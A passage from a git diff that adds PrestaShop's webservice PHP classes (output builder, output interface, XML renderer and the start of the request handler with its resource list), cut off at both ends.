(synopsis & blank), + * + * @param array $objects each object created by entity asked + * @see WebserviceOutputBuilder::executeEntityGetAndHead + * @param null|string $schema_to_display if null display the entities list or entity details. + * @param string|array $fields_to_display the fields allow for the output + * @param int $depth depth for the tree diagram output. + * @param int $type_of_view use the 2 constants WebserviceOutputBuilder::VIEW_LIST WebserviceOutputBuilder::VIEW_DETAILS + * @return string in the output format specified by WebserviceOutputBuilder::objectRender + */ + public function getContent($objects, $schema_to_display = null, $fields_to_display = 'minimum', $depth = 0, $type_of_view = self::VIEW_LIST, $override = true) + { + $this->fieldsToDisplay = $fields_to_display; + $this->depth = $depth; + $output = ''; + + if ($schema_to_display != null) + { + $this->schemaToDisplay = $schema_to_display; + $this->objectRender->setSchemaToDisplay($this->schemaToDisplay); + + // If a shema is asked the view must be an details type + $type_of_view = self::VIEW_DETAILS; + } + + $ws_params = $objects['empty']->getWebserviceParameters(); + foreach ($this->wsParamOverrides AS $p) + { + $object = $p['object']; + $ws_params = $object->{$p['method']}($ws_params); + } + + // If a list is asked, need to wrap with a plural node + if ($type_of_view === self::VIEW_LIST) + $output .= $this->setIndent($depth).$this->objectRender->renderNodeHeader($ws_params['objectsNodeName'], $ws_params); + + if (is_null($this->schemaToDisplay)) + { + foreach ($objects as $key => $object) + { + if ($key !== 'empty') + { + if ($this->fieldsToDisplay === 'minimum') + $output .= $this->renderEntityMinimum($object, $depth); + else + $output .= $this->renderEntity($object, $depth); + } + } + } + else + { + $output .= $this->renderSchema($objects['empty'], $ws_params); + } + + // If a list is asked, need to wrap with a plural node + if ($type_of_view === self::VIEW_LIST) + $output .= $this->setIndent($depth).$this->objectRender->renderNodeFooter($ws_params['objectsNodeName'], $ws_params); + + if ($override) + $output = $this->objectRender->overrideContent($output); + return $output; + } + + /** + * Create the tree diagram with no details + * + * @param $object create by the entity + * @param $depth the depth for the tree diagram + * @return string + */ + public function renderEntityMinimum($object, $depth) + { + $ws_params = $object->getWebserviceParameters(); + $more_attr['id'] = $object->id; + $more_attr['xlink_resource'] = $this->wsUrl.$ws_params['objectsNodeName'].'/'.$object->id; + $output = $this->setIndent($depth).$this->objectRender->renderNodeHeader($ws_params['objectNodeName'], $ws_params, $more_attr, false); + return $output; + } + + /** + * Build a schema blank or synopsis + * + * @param $object create by the entity + * @param $ws_params webserviceParams from the entity + * @return string + */ + protected function renderSchema($object, $ws_params) + { + $output = $this->objectRender->renderNodeHeader($ws_params['objectNodeName'], $ws_params); + foreach ($ws_params['fields'] as $field_name => $field) + { + $output .= $this->renderField($object, $ws_params, $field_name, $field, 0); + } + if (isset($ws_params['associations']) && count($ws_params['associations']) > 0) + { + $this->fieldsToDisplay = 'full'; + $output .= $this->renderAssociations($object, 0, $ws_params['associations'], $ws_params); + } + $output .= $this->objectRender->renderNodeFooter($ws_params['objectNodeName'], $ws_params); + return $output; + } + + /** + * Build the entity detail. + * + * @param ObjectModel $object create by the entity + * @param int $depth the depth for the tree diagram + * @return string + */ + public function renderEntity($object, $depth) + { + $output = ''; + $ws_params = $object->getWebserviceParameters(); + foreach ($this->wsParamOverrides AS $p) + { + $o = $p['object']; + $ws_params = $o->{$p['method']}($ws_params); + } + $output .= $this->setIndent($depth).$this->objectRender->renderNodeHeader($ws_params['objectNodeName'], $ws_params); + + if ($object->id != 0) + { + // This to add virtual Fields for a particular entity. + $virtual_fields = $this->addVirtualFields($ws_params['objectsNodeName'], $object); + if (!empty($virtual_fields)) + $ws_params['fields'] = array_merge($ws_params['fields'], $virtual_fields); + + foreach ($ws_params['fields'] as $field_name => $field) + { + if ($this->fieldsToDisplay === 'full' || array_key_exists($field_name, $this->fieldsToDisplay)) + { + $field['object_id'] = $object->id; + $field['entity_name'] = $ws_params['objectNodeName']; + $field['entities_name'] = $ws_params['objectsNodeName']; + $output .= $this->renderField($object, $ws_params, $field_name, $field, $depth); + } + } + } + $subexists = false; + if (is_array($this->fieldsToDisplay)) + foreach ($this->fieldsToDisplay as $fields) + if (is_array($fields)) + $subexists = true; + + if (isset($ws_params['associations']) + && ($this->fieldsToDisplay == 'full' + || $subexists)) + { + $output .= $this->renderAssociations($object, $depth, $ws_params['associations'], $ws_params); + } + + $output .= $this->setIndent($depth).$this->objectRender->renderNodeFooter($ws_params['objectNodeName'], $ws_params); + return $output; + } + + /** + * Build a field and use recursivity depend on the depth parameter. + * + * @param ObjectModel $object create by the entity + * @param array $ws_params webserviceParams from the entity + * @param string $field_name + * @param array $field + * @param int $depth + * @return string + */ + protected function renderField($object, $ws_params, $field_name, $field, $depth) + { + $output = ''; + $show_field = true; + + if (isset($ws_params['hidden_fields']) && in_array($field_name, $ws_params['hidden_fields'])) + return; + + if ($this->schemaToDisplay === 'synopsis') + { + $field['synopsis_details'] = $this->getSynopsisDetails($field); + if ($field_name === 'id') + $show_field = false; + } + if ($this->schemaToDisplay === 'blank') + if (isset($field['setter']) && !$field['setter']) + $show_field = false; + + // don't set any value for a schema + if (isset($field['synopsis_details']) || $this->schemaToDisplay === 'blank') + { + $field['value'] = ''; + if (isset($field['xlink_resource'])) + unset($field['xlink_resource']); + } + elseif (isset($field['getter']) && $object != null && method_exists($object, $field['getter'])) + $field['value'] = $object->$field['getter'](); + elseif (!isset($field['value'])) + $field['value'] = $object->$field_name; + + // this apply specific function for a particular field on a choosen entity + $field = $this->overrideSpecificField($ws_params['objectsNodeName'], $field_name, $field, $object, $ws_params); + + // don't display informations for a not existant id + if (substr($field['sqlId'], 0, 3) == 'id_' && !$field['value']) + { + if ($field['value'] === null) + $field['value'] = ''; + // delete the xlink except for schemas + if (isset($field['xlink_resource']) && is_null($this->schemaToDisplay)) + unset($field['xlink_resource']); + } + // set "id" for each node name which display the id of the entity + if ($field_name === 'id') + $field['sqlId'] = 'id'; + + + // don't display the node id for a synopsis schema + if ($show_field) + $output .= $this->setIndent($depth-1).$this->objectRender->renderField($field); + return $output; + } + + /** + * + * + * @param $object + * @param $depth + * @param $associations + * @param $ws_params + * @return string + */ + protected function renderAssociations($object, $depth, $associations, $ws_params) + { + $output = $this->objectRender->renderAssociationWrapperHeader(); + foreach ($associations as $assoc_name => $association) + { + if ($this->fieldsToDisplay == 'full' || is_array($this->fieldsToDisplay) && array_key_exists($assoc_name, $this->fieldsToDisplay)) + { + $getter = $association['getter']; + $objects_assoc = array(); + + $fields_assoc = array(); + if (isset($association['fields'])) + $fields_assoc = $association['fields']; + + $parent_details = array( + 'object_id' => $object->id, + 'entity_name' => $ws_params['objectNodeName'], + 'entities_name' => $ws_params['objectsNodeName'], + ); + + if (is_array($getter)) + { + $association_resources = call_user_func($getter, $object); + if (is_array($association_resources) && !empty($association_resources)) + foreach ($association_resources as $association_resource) + $objects_assoc[] = $association_resource; + } + else + { + if (method_exists($object, $getter) && is_null($this->schemaToDisplay)) + { + $association_resources = $object->$getter(); + if (is_array($association_resources) && !empty($association_resources)) + foreach ($association_resources as $association_resource) + $objects_assoc[] = $association_resource; + } + else + $objects_assoc[] = ''; + } + + $class_name = null; + if (isset($this->wsResource[$assoc_name]['class']) && class_exists($this->wsResource[$assoc_name]['class'], true)) + $class_name = $this->wsResource[$assoc_name]['class']; + $output_details = ''; + foreach ($objects_assoc as $object_assoc) + { + if ($depth == 0 || $class_name === null) + { + $value = null; + if (!empty($object_assoc)) + $value = $object_assoc; + if (empty($fields_assoc)) + $fields_assoc = array(array('id' => $value['id'])); + $output_details .= $this->renderFlatAssociation($object, $depth, $assoc_name, $association['resource'], $fields_assoc, $value, $parent_details); + } + else + { + foreach ($object_assoc as $id) + { + if ($class_name !== null) + { + $child_object = new $class_name($id); + $output_details .= $this->renderEntity($child_object, ($depth-2 ? 0 : $depth-2)); + } + } + } + } + if ($output_details != '') + { + $output .= $this->setIndent($depth).$this->objectRender->renderAssociationHeader($object, $ws_params, $assoc_name); + $output .= $output_details; + $output .= $this->setIndent($depth).$this->objectRender->renderAssociationFooter($object, $ws_params, $assoc_name); + } + else + { + $output .= $this->setIndent($depth).$this->objectRender->renderAssociationHeader($object, $ws_params, $assoc_name, true); + } + } + } + $output .= $this->objectRender->renderAssociationWrapperFooter(); + return $output; + } + + protected function renderFlatAssociation($object, $depth, $assoc_name, $resource_name, $fields_assoc, $object_assoc, $parent_details) + { + $output = ''; + $more_attr = array(); + if (isset($this->wsResource[$assoc_name]) && is_null($this->schemaToDisplay)) + { + if ($assoc_name == 'images') + $more_attr['xlink_resource'] = $this->wsUrl.$assoc_name.'/'.$parent_details['entities_name'].'/'.$parent_details['object_id'].'/'.$object_assoc['id']; + else + $more_attr['xlink_resource'] = $this->wsUrl.$assoc_name.'/'.$object_assoc['id']; + } + $output .= $this->setIndent($depth-1).$this->objectRender->renderNodeHeader($resource_name, array(), $more_attr); + + foreach ($fields_assoc as $field_name=>$field) + { + if (!is_array($this->fieldsToDisplay) || in_array($field_name, $this->fieldsToDisplay[$assoc_name])) + { + if ($field_name == 'id' && !isset($field['sqlId'])) + { + $field['sqlId'] = 'id'; + $field['value'] = $object_assoc['id']; + } + elseif (!isset($field['sqlId'])) + { + $field['sqlId'] = $field_name; + $field['value'] = $object_assoc[$field_name]; + } + $field['entities_name'] = $assoc_name; + $field['entity_name'] = $resource_name; + + if (!is_null($this->schemaToDisplay)) + $field['synopsis_details'] = $this->getSynopsisDetails($field); + $field['is_association'] = true; + $output .= $this->setIndent($depth-1).$this->objectRender->renderField($field); + } + } + $output .= $this->setIndent($depth-1).$this->objectRender->renderNodeFooter($resource_name, array()); + return $output; + } + + public function setIndent($depth) + { + $string = ''; + $number_of_tabs = $this->depth - $depth; + for ($i = 0; $i < $number_of_tabs; $i++) + $string .= "\t"; + return $string; + } + + public function getSynopsisDetails($field) + { + $arr_details = ''; + if (array_key_exists('required', $field) && $field['required']) + $arr_details['required'] = 'true'; + if (array_key_exists('maxSize', $field) && $field['maxSize']) + $arr_details['maxSize'] = $field['maxSize']; + if (array_key_exists('validateMethod', $field) && $field['validateMethod']) + $arr_details['format'] = $field['validateMethod']; + return $arr_details; + } + + /** + * + * @param string|object $object + * @param string $method + * @return $this + */ + public function setSpecificField($object, $method, $field_name, $entity_name) + { + try { + $this->validateObjectAndMethod($object, $method); + } catch (WebserviceException $e) { + throw $e; + } + + $this->specificFields[$field_name] = array('entity'=>$entity_name, 'object' => $object, 'method' => $method, 'type' => gettype($object)); + return $this; + } + protected function validateObjectAndMethod($object, $method) + { + if (is_string($object) && !class_exists($object)) + throw new WebserviceException ('The object you want to set in '.__METHOD__.' is not allowed.', array(98, 500)); + if (!method_exists($object, $method)) + throw new WebserviceException ('The method you want to set in '.__METHOD__.' is not allowed.', array(99, 500)); + } + public function getSpecificField() + { + return $this->specificFields; + } + protected function overrideSpecificField($entity_name, $field_name, $field, $entity_object, $ws_params) + { + if (array_key_exists($field_name, $this->specificFields) && $this->specificFields[$field_name]['entity'] == $entity_name) + { + if ($this->specificFields[$field_name]['type'] == 'string') + $object = new $this->specificFields[$field_name]['object'](); + elseif ($this->specificFields[$field_name]['type'] == 'object') + $object= $this->specificFields[$field_name]['object']; + + $field = $object->{$this->specificFields[$field_name]['method']}($field, $entity_object, $ws_params); + } + return $field; + } + public function setVirtualField($object, $method, $entity_name, $parameters) + { + try { + $this->validateObjectAndMethod($object, $method); + } catch (WebserviceException $e) { + throw $e; + } + + $this->virtualFields[$entity_name][] = array('parameters' => $parameters, 'object' => $object, 'method' => $method, 'type' => gettype($object)); + } + + public function getVirtualFields() + { + return $this->virtualFields; + } + + public function addVirtualFields($entity_name, $entity_object) + { + $arr_return = array(); + $virtual_fields = $this->getVirtualFields(); + if (array_key_exists($entity_name, $virtual_fields)) + { + foreach ($virtual_fields[$entity_name] as $function_infos) + { + if ($function_infos['type'] == 'string') + $object = new $function_infos['object'](); + elseif ($function_infos['type'] == 'object') + $object= $function_infos['object']; + + $return_fields = $object->{$function_infos['method']}($entity_object, $function_infos['parameters']); + foreach ($return_fields as $field_name => $value) + { + if (Validate::isConfigName($field_name)) + $arr_return[$field_name] = $value; + else + throw new WebserviceException('Name for the virtual field is not allow', array(128, 400)); + } + } + } + return $arr_return; + } + + public function setFieldsToDisplay($fields) + { + $this->fieldsToDisplay = $fields; + } +} \ No newline at end of file diff --git a/classes/webservice/WebserviceOutputInterface.php b/classes/webservice/WebserviceOutputInterface.php new file mode 100755 index 0000000..c603543 --- /dev/null +++ b/classes/webservice/WebserviceOutputInterface.php @@ -0,0 +1,44 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +interface WebserviceOutputInterface +{ + public function __construct($languages = array()); + public function setWsUrl($url); + public function getWsUrl(); + public function getContentType(); + public function setSchemaToDisplay($schema); + public function getSchemaToDisplay(); + public function renderField($field); + public function renderNodeHeader($obj, $params ,$more_attr = null); + public function renderNodeFooter($obj, $params); + public function renderAssociationHeader($obj, $params, $assoc_name); + public function renderAssociationFooter($obj, $params, $assoc_name); + public function overrideContent($content); + public function renderErrorsHeader(); + public function renderErrorsFooter(); + public function renderErrors($message, $code = null); +} \ No newline at end of file diff --git a/classes/webservice/WebserviceOutputXML.php b/classes/webservice/WebserviceOutputXML.php new file mode 100755 index 0000000..9df8cef --- /dev/null +++ b/classes/webservice/WebserviceOutputXML.php @@ -0,0 +1,200 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class WebserviceOutputXMLCore implements WebserviceOutputInterface +{ + public $docUrl = ''; + public $languages = array(); + protected $wsUrl; + protected $schemaToDisplay; + + public function setSchemaToDisplay($schema) + { + if (is_string($schema)) + $this->schemaToDisplay = $schema; + return $this; + } + + public function getSchemaToDisplay() + { + return $this->schemaToDisplay; + } + + public function setWsUrl($url) + { + $this->wsUrl = $url; + return $this; + } + public function getWsUrl() + { + return $this->wsUrl; + } + public function getContentType() + { + return 'text/xml'; + } + public function __construct($languages = array()) + { + $this->languages = $languages; + } + public function setLanguages($languages) + { + $this->languages = $languages; + return $this; + } + public function renderErrorsHeader() + { + return '<errors>'."\n"; + } + public function renderErrorsFooter() + { + return '</errors>'."\n"; + } + public function renderErrors($message, $code = null) + { + $str_output = '<error>'."\n"; + if ($code !== null) + $str_output .= '<code><![CDATA['.$code.']]></code>'."\n"; + $str_output .= '<message><![CDATA['.$message.']]></message>'."\n"; + $str_output .= '</error>'."\n"; + return $str_output; + } + public function renderField($field) + { + $ret = ''; + $node_content = ''; + $ret .= '<'.$field['sqlId']; + // display i18n fields + if (isset($field['i18n']) && $field['i18n']) + { + foreach ($this->languages as $language) + { + $more_attr = ''; + if (isset($field['synopsis_details']) || (isset($field['value']) AND is_array($field['value']))) + { + $more_attr .= ' xlink:href="'.$this->getWsUrl().'languages/'.$language.'"'; + if (isset($field['synopsis_details']) && $this->schemaToDisplay != 'blank') + $more_attr .= ' format="isUnsignedId" '; + } + $node_content .= '<language id="'.$language.'"'.$more_attr.'>'; + if (isset($field['value']) AND is_array($field['value']) AND isset($field['value'][$language])) + $node_content .= '<![CDATA['.$field['value'][$language].']]>'; + $node_content .= '</language>'.""; + } + } + // display not i18n fields value + else + { + if (array_key_exists('xlink_resource', $field) && $this->schemaToDisplay != 'blank') + { + if (!is_array($field['xlink_resource'])) + $ret .= ' xlink:href="'.$this->getWsUrl().$field['xlink_resource'].'/'. $field['value'] .'"'; + else + $ret .= ' xlink:href="'.$this->getWsUrl().$field['xlink_resource']['resourceName'].'/'. + (isset($field['xlink_resource']['subResourceName']) ? $field['xlink_resource']['subResourceName'].'/'.$field['object_id'].'/' : '').$field['value'].'"'; + } + + if (isset($field['getter']) && $this->schemaToDisplay != 'blank') + $ret .= ' not_filterable="true"'; + + if ($field['value'] != '') + $node_content .= '<![CDATA['.$field['value'].']]>'; + } + + if (isset($field['encode'])) + $ret .= ' encode="'.$field['encode'].'"'; + + if (isset($field['synopsis_details']) && !empty($field['synopsis_details']) && $this->schemaToDisplay !== 'blank') + { + foreach ($field['synopsis_details'] as $name => $detail) + { + $ret .= ' '.$name.'="'.(is_array($detail) ? implode(' ', $detail) : $detail).'"'; + } + } + $ret .= '>'; + $ret .= $node_content; + $ret .= '</'.$field['sqlId'].'>'."\n"; + return $ret; + } + public function renderNodeHeader($node_name, $params, $more_attr = null, $has_child = true) + { + $string_attr = ''; + if (is_array($more_attr)) + { + foreach($more_attr as $key=>$attr) + { + if ($key === 'xlink_resource') + $string_attr .= ' xlink:href="'.$attr.'"'; + else + $string_attr .= ' '.$key.'="'.$attr.'"'; + } + } + $end_tag = (!$has_child) ? '/>' : '>'; + return '<'.$node_name.$string_attr.$end_tag."\n"; + } + public function getNodeName($params) + { + $node_name = ''; + if (isset($params['objectNodeName'])) + $node_name = $params['objectNodeName']; + return $node_name; + } + public function renderNodeFooter($node_name, $params) + { + return '</'.$node_name.'>'."\n"; + } + public function overrideContent($content) + { + $xml = '<?xml version="1.0" encoding="UTF-8"?>'."\n"; + $xml .= '<prestashop xmlns:xlink="http://www.w3.org/1999/xlink">'."\n"; + $xml .= $content; + $xml .= '</prestashop>'."\n"; + return $xml; + } + public function renderAssociationWrapperHeader() + { + return '<associations>'."\n"; + } + public function renderAssociationWrapperFooter() + { + return '</associations>'."\n"; + } + public function renderAssociationHeader($obj, $params, $assoc_name, $closed_tags = false) + { + $end_tag = ($closed_tags) ? '/>' : '>'; + $more = ''; + if ($this->schemaToDisplay != 'blank') + { + $more .= (isset($params['associations'][$assoc_name]['virtual_entity']) && $params['associations'][$assoc_name]['virtual_entity'] ? ' virtual_entity="true"' : ''); + $more .= ' node_type="'.$params['associations'][$assoc_name]['resource'].'"'; + } + return '<'.$assoc_name.$more.$end_tag."\n"; + } + public function renderAssociationFooter($obj, $params, $assoc_name) + { + return '</'.$assoc_name.'>'."\n"; + } +} \ No newline at end of file diff --git a/classes/webservice/WebserviceRequest.php b/classes/webservice/WebserviceRequest.php new file mode 100755 index 0000000..a4f5ee6 --- /dev/null +++ b/classes/webservice/WebserviceRequest.php @@ -0,0 +1,1787 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author Prestashop SA <contact@prestashop.com> +* @copyright 2007-2010 Prestashop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class WebserviceRequestCore +{ + protected $_available_languages = null; + /** + * Errors triggered at execution + * @var array + */ + public $errors = array(); + + /** + * Set if return should display content or not + * @var boolean + */ + protected $_outputEnabled = true; + + /** + * Set if the management is specific or if it is classic (entity management) + * @var boolean + */ + protected $objectSpecificManagement = false; + + /** + * Base PrestaShop webservice URL + * @var string + */ + public $wsUrl; + + /** + * PrestaShop Webservice Documentation URL + * @var string + */ + protected $_docUrl = 'http://doc.prestashop.com/display/PS15/Using+the+PrestaShop+Web+Service'; + + /** + * Set if the authentication key was checked + * @var boolean + */ + protected $_authenticated = false; + + /** + * HTTP Method to support + * @var string + */ + public $method; + + /** + * The segment of the URL + * @var array + */ + public $urlSegment = array(); + + /** + * The segment list of the URL after the "api" segment + * @var array + */ + public $urlFragments = array(); + + /** + * The time in microseconds of the start of the execution of the web service request + * @var int + */ + protected $_startTime = 0; + + /** + * The list of each resources manageable via web service + * @var array + */ + public $resourceList; + + /** + * The configuration parameters of the current resource + * @var array + */ + public $resourceConfiguration; + + /** + * The permissions for the current key + * @var array + */ + public $keyPermissions; + + /** + * The XML string to display if web service call succeed + * @var string + */ + protected $specificOutput = ''; + + /** + * The list of objects to display + * @var array + */ + public $objects; + + /** + * The current object to support, it extends the PrestaShop ObjectModel + * @var ObjectModel + */ + protected $_object; + + /** + * The schema to display. + * If null, no schema have to be displayed and normal management has to be performed + * @var string + */ + public $schemaToDisplay; + + /** + * The fields to display. These fields will be displayed when retrieving objects + * @var string + */ + public $fieldsToDisplay = 'minimum'; + + /** + * If we are in PUT or POST case, we use this attribute to store the xml string value during process + * @var string + */ + protected $_inputXml; + + /** + * Object instance for singleton + * @var WebserviceRequest + */ + protected static $_instance; + + /** + * Key used for authentication + * @var string + */ + protected $_key; + + /** + * This is used to have a deeper tree diagram. + * @var int + */ + public $depth = 0; + + /** + * Name of the output format + * @var string + */ + protected $outputFormat = 'xml'; + + /** + * The object to build the output. + * @var WebserviceOutputBuilder + */ + protected $objOutput; + + /** + * Save the class name for override used in getInstance() + * @var ws_current_classname + */ + public static $ws_current_classname; + + + public static $shopIDs; + + + public function getOutputEnabled() + { + return $this->_outputEnabled; + } + + public function setOutputEnabled($bool) + { + if (Validate::isBool($bool)) + $this->_outputEnabled = $bool; + return $this; + } + + /** + * Get WebserviceRequest object instance (Singleton) + * + * @return object WebserviceRequest instance + */ + public static function getInstance() + { + if(!isset(self::$_instance)) + self::$_instance = new WebserviceRequest::$ws_current_classname(); + return self::$_instance; + } + + protected function getOutputObject($type) + { + switch ($type) + { + case 'XML' : + default : + $obj_render = new WebserviceOutputXML(); + break; + } + return $obj_render; + } + + public static function getResources() + { + $resources = array( + 'addresses' => array('description' => 'The Customer, Manufacturer and Customer addresses','class' => 'Address'), + 'carriers' => array('description' => 'The Carriers','class' => 'Carrier'), + 'carts' => array('description' => 'Customer\'s carts', 'class' => 'Cart'), + 'cart_rules' => array('description' => 'Cart rules management', 'class' => 'CartRule'), + 'categories' => array('description' => 'The product categories','class' => 'Category'), + 'combinations' => array('description' => 'The product combinations','class' => 'Combination'), + 'configurations' => array('description' => 'Shop configuration', 'class' => 'Configuration'), + 'contacts' => array('description' => 'Shop contacts','class' => 'Contact'), + 'countries' => array('description' => 'The countries','class' => 'Country'), + 'currencies' => array('description' => 'The currencies', 'class' => 'Currency'), + 'customers' => array('description' => 'The e-shop\'s customers','class' => 'Customer'), + 'customer_threads' => array('description' => 'Customer services threads','class' => 'CustomerThread'), + 'customer_messages' => array('description' => 'Customer services messages','class' => 'CustomerMessage'), + 'deliveries' => array('description' => 'Product delivery', 'class' => 'Delivery'), + 'groups' => array('description' => 'The customer\'s groups','class' => 'Group'), + 'guests' => array('description' => 'The guests', 'class' => 'Guest'), + 'images' => array('description' => 'The images', 'specific_management' => true), + 'image_types' => array('description' => 'The image types', 'class' => 'ImageType'), + 'languages' => array('description' => 'Shop languages', 'class' => 'Language'), + 'manufacturers' => array('description' => 'The product manufacturers','class' => 'Manufacturer'), + 'order_carriers' => array('description' => 'The Order carriers','class' => 'OrderCarrier'), + 'order_details' => array('description' => 'Details of an order', 'class' => 'OrderDetail'), + 'order_discounts' => array('description' => 'Discounts of an order', 'class' => 'OrderDiscount'), + 'order_histories' => array('description' => 'The Order histories','class' => 'OrderHistory'), + 'order_invoices' => array('description' => 'The Order invoices','class' => 'OrderInvoice'), + 'orders' => array('description' => 'The Customers orders','class' => 'Order'), + 'order_payments' => array('description' => 'The Order payments','class' => 'OrderPayment'), + 'order_states' => array('description' => 'The Order states','class' => 'OrderState'), + 'price_ranges' => array('description' => 'Price ranges', 'class' => 'RangePrice'), + 'product_features' => array('description' => 'The product features','class' => 'Feature'), + 'product_feature_values' => array('description' => 'The product feature values','class' => 'FeatureValue'), + 'product_options' => array('description' => 'The product options','class' => 'AttributeGroup'), + 'product_option_values' => array('description' => 'The product options value','class' => 'Attribute'), + 'products' => array('description' => 'The products','class' => 'Product'), + 'states' => array('description' => 'The available states of countries','class' => 'State'), + 'stores' => array('description' => 'The stores', 'class' => 'Store'), + 'suppliers' => array('description' => 'The product suppliers','class' => 'Supplier'), + 'tags' => array('description' => 'The Products tags','class' => 'Tag'), + 'translated_configurations' => array('description' => 'Shop configuration', 'class' => 'TranslatedConfiguration'), + 'weight_ranges' => array('description' => 'Weight ranges', 'class' => 'RangeWeight'), + 'zones' => array('description' => 'The Countries zones','class' => 'Zone'), + 'employees' => array('description' => 'The Employees', 'class' => 'Employee'), + 'search' => array('description' => 'Search', 'specific_management' => true, 'forbidden_method' => array('PUT', 'POST', 'DELETE')), + 'content_management_system' => array('description' => 'Content management system', 'class' => 'CMS'), + 'shops' => array('description' => 'Shops from multi-shop feature', 'class' => 'Shop'), + 'shop_groups' => array('description' => 'Shop groups from multi-shop feature', 'class' => 'ShopGroup'), + 'taxes' => array('description' => 'The tax rate', 'class' => 'Tax'), + 'stock_movements' => array('description' => 'Stock movements', 'class' => 'StockMvtWS', 'forbidden_method' => array('PUT', 'POST', 'DELETE')), + 'stock_movement_reasons' => array('description' => 'Stock movement reason', 'class' => 'StockMvtReason'), + 'warehouses' => array('description' => 'Warehouses', 'class' => 'Warehouse', 'forbidden_method' => array('DELETE')), + 'stocks' => array('description' => 'Stocks', 'class' => 'Stock', 'forbidden_method' => array('PUT', 'POST', 'DELETE')), + 'stock_availables' => array('description' => 'Available quantities', 'class' => 'StockAvailable', 'forbidden_method' => array('POST', 'DELETE')), + 'warehouse_product_locations' => array('description' => 'Location of products in warehouses', 'class' => 'WarehouseProductLocation', 'forbidden_method' => array('PUT', 'POST', 'DELETE')), + 'supply_orders' => array('description' => 'Supply Orders', 'class' => 'SupplyOrder', 'forbidden_method' => array('PUT', 'POST', 'DELETE')), + 'supply_order_details' => array('description' => 'Supply Order Details', 'class' => 'SupplyOrderDetail', 'forbidden_method' => array('PUT', 'POST', 'DELETE')), + 'supply_order_states' => array('description' => 'Supply Order States', 'class' => 'SupplyOrderState', 'forbidden_method' => array('PUT', 'POST', 'DELETE')), + 'supply_order_histories' => array('description' => 'Supply Order Histories', 'class' => 'SupplyOrderHistory', 'forbidden_method' => array('PUT', 'POST', 'DELETE')), + 'supply_order_receipt_histories' => array('description' => 'Supply Order Receipt Histories', 'class' => 'SupplyOrderReceiptHistory', 'forbidden_method' => array('PUT', 'POST', 'DELETE')), + 'product_suppliers' => array('description' => 'Product Suppliers', 'class' => 'ProductSupplier', 'forbidden_method' => array('PUT', 'POST', 'DELETE')), + 'tax_rules' => array('description' => 'Tax rules entity', 'class' => 'TaxRule'), + 'tax_rule_groups' => array('description' => 'Tax rule groups', 'class' => 'TaxRulesGroup'), + 'specific_prices' => array('description' => 'Specific price management', 'class' => 'SpecificPrice'), + 'specific_price_rules' => array('description' => 'Specific price management', 'class' => 'SpecificPriceRule'), + ); + ksort($resources); + return $resources; + } + + // @todo Check how get parameters + // @todo : set this method out + /** + * This method is used for calculate the price for products on the output details + * + * @param $field + * @param $entity_object + * @param $ws_params + * @return array field parameters. + */ + public function getPriceForProduct($field, $entity_object, $ws_params) + { + if (is_int($entity_object->id)) + { + $arr_return = $this->specificPriceForProduct($entity_object, array('default_price'=>'')); + $field['value'] = $arr_return['default_price']['value']; + } + return $field; + } + + // @todo : set this method out + /** + * This method is used for calculate the price for products on a virtual fields + * + * @param $entity_object + * @param array $parameters + * @return array + */ + public function specificPriceForProduct($entity_object, $parameters) + { + foreach(array_keys($parameters) as $name) + { + $parameters[$name]['object_id'] = $entity_object->id; + } + $arr_return = $this->specificPriceCalculation($parameters); + return $arr_return; + } + + public function specificPriceCalculation($parameters) + { + $arr_return = array(); + foreach($parameters as $name => $value) + { + $id_shop = (int)Context::getContext()->shop->id; + $id_country = (int)(isset($value['country']) ? $value['country'] : (Configuration::get('PS_COUNTRY_DEFAULT'))); + $id_state = (int)(isset($value['state']) ? $value['state'] : 0); + $id_currency = (int)(isset($value['currency']) ? $value['currency'] : Configuration::get('PS_CURRENCY_DEFAULT')); + $id_group = (int)(isset($value['group']) ? $value['group'] : (int)Configuration::get('PS_CUSTOMER_GROUP')); + $quantity = (int)(isset($value['quantity']) ? $value['quantity'] : 1); + $use_tax = (int)(isset($value['use_tax']) ? $value['use_tax'] : Configuration::get('PS_TAX')); + $decimals = (int)(isset($value['decimals']) ? $value['decimals'] : Configuration::get('PS_PRICE_ROUND_MODE')); + $id_product_attribute = (int)(isset($value['product_attribute']) ? $value['product_attribute'] : null); + $id_county = (int)(isset($value['county']) ? $value['county'] : null); + + $only_reduc = (int)(isset($value['only_reduction']) ? $value['only_reduction'] : false); + $use_reduc = (int)(isset($value['use_reduction']) ? 